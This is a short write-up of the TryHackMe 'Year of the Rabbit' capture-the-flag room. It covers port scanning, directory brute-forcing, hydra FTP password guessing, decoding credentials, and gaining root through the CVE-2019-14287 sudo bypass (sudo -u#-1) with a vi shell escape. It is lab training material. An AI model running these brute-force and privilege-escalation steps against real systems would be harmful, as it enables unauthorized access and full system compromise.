TRYHACKME: YEAR OF THE RABBIT

Add IP to hosts:

nano /etc/hosts

Recon:

Nmap:

nmap -sC -sV -vv [MACHINE_IP] -T 4

Discovered Ports : 80 - http
22 – SSH
21 - FTP

OS : Linux

Gobuster:

gobuster dir -u [MACHINE_IP] -w [WORDLIST_PATH]

Directories Found:

/assets

Inside assets we will find **style.css** where the hint is present
According to the hint, go to http://[MACHINE_IP]/**sup3r_s3cr3t_fl4g.php**

Capture this request using **burp** and you'll find a **hidden directory**:

Download the image:

/Hot_Babe.png

strings Hot_babe.png

Here we get the FTP username and a password list:

using hydra we can guess the password:

hydra -l ftpuser -P [WORDLIST_FOUND] ftp://[MACHINE_IP]

Login to ftp:

ftp ftpuser@[MACHINE_IP]
ftp> get Eli's_Creds.txt
 # cat Eli's_Cred.txt

This is an encoding in **brainfuck** language:

Decoded on www.splitbrain.org
- User: eli
Password: DSpDiM1wAEwid

ssh eli@[Machine_IP]

While connecting you'll see this message:

1 new message
Message from Root to Gwendoline:

"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"

END MESSAGE

 # locate s3cr3t
Here, you'll find a file with gwendoline's password: MniVCQVhQHUNI

su Gwendoline
cd ~
cat user.txt ---------- USER FLAG

sudo -l
/usr/bin/vi /home/gwendoline/user.txt
We need to bypass sudo filter, this is a CVE launched in 2019 **: CVE-2019-14287**
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
In the vim editor type:
:!/bin/sh
We are root.

cat /root/root.txt ---------- ROOT FLAG